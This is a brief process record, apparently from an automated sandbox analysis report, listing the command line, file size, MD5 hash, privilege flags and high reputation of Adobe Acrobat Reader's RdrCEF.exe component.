Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0xec0000
File size:	9475120 bytes
MD5 hash:	9AEBA3BACD721484391D15478A4080C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high